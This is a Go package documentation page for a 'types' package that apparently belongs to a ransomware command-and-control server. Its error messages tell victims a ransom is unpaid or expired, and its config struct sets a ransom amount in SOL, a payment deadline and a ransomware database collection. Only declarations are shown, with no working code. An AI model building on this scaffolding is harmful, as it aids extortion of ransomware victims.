types

package
v0.0.0-...-aa8d9c8 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jan 31, 2025 License: GPL-3.0 Imports: 13 Imported by: 0

Documentation

Index

Constants

View Source
const (
	CHAR_LIST = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
)

Variables

View Source
var (
	// Database Errors
	ErrMustBePointer   = errors.New("must be a pointer")
	ErrNotFound        = errors.New("no matches found")
	ErrFilterCollision = errors.New("collision on filter")

	// HTTP Errors
	ErrNotJSON       = errors.New("not json")
	ErrCantProccess  = errors.New("can't proccess")
	ErrInvalidDump   = errors.New("invalid dump")
	ErrNotPaid       = errors.New("not paid")
	ErrNoLongerValid = errors.New("no longer valid")
	ErrInvalidRSA    = errors.New("invalid rsa")
	ErrHashesExist   = errors.New("hashes exist")

	ProperErrors = map[error]string{
		ErrNotFound:        "No matches found in database.",
		ErrFilterCollision: "Collision on filter query.",
		ErrNotJSON:         "Request contains invalid JSON. Please use application/json.",
		ErrCantProccess:    "Cannot process successful callback.",
		ErrInvalidDump:     "Invalid indentifier information, please try again.",
		ErrNotPaid:         "Ransom has not been paid yet.",
		ErrNoLongerValid:   "Ransom has expired and is no longer valid. Goodbye.",
		ErrInvalidRSA:      "Invalid RSA data, please try again.",
		ErrHashesExist:     "Hashes already exist in database. Resolve the pending ransom.",
	}
)

Functions

func BadRequest

func BadRequest(w http.ResponseWriter, reason error)

func Clear

func Clear()

func Forbidden

func Forbidden(w http.ResponseWriter, reason error)

func GInternalServerError

func GInternalServerError(w http.ResponseWriter)

func GUnauthorized

func GUnauthorized(w http.ResponseWriter)

func GetProperError

func GetProperError(err error) string

func HandleError

func HandleError(w http.ResponseWriter, status int, reason error)

func InternalServerError

func InternalServerError(w http.ResponseWriter, reason error)

func LoadPEMFile

func LoadPEMFile(typeString string) ([]byte, error)

func NotFound

func NotFound(w http.ResponseWriter, reason error)

func RandString

func RandString() string

func Run

func Run(name string, arg ...string)

func SetTitle

func SetTitle(format string, content ...interface{})

func Unauthorized

func Unauthorized(w http.ResponseWriter, reason error)

Types

type ConfigVars

type ConfigVars struct {
	C2 struct {
		RansomAmountSOL     float64 `json:"ransom_amount_sol"`
		RansomDeadlineHours int     `json:"ransom_deadline_hours"`
	} `json:"c2"`
	Database struct {
		ConnectionURI            string `json:"connection_uri"`
		DatabaseName             string `json:"database_name"`
		CollectionRansomware     string `json:"collection_ransomware"`
		ConnectionTimeoutSeconds int    `json:"connection_timeout_seconds"`
	} `json:"database"`
}
var (
	Config ConfigVars
)

type ErrorResponse

type ErrorResponse struct {
	Success bool   `json:"success"`
	Status  int    `json:"status"`
	Message string `json:"message"`
}

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL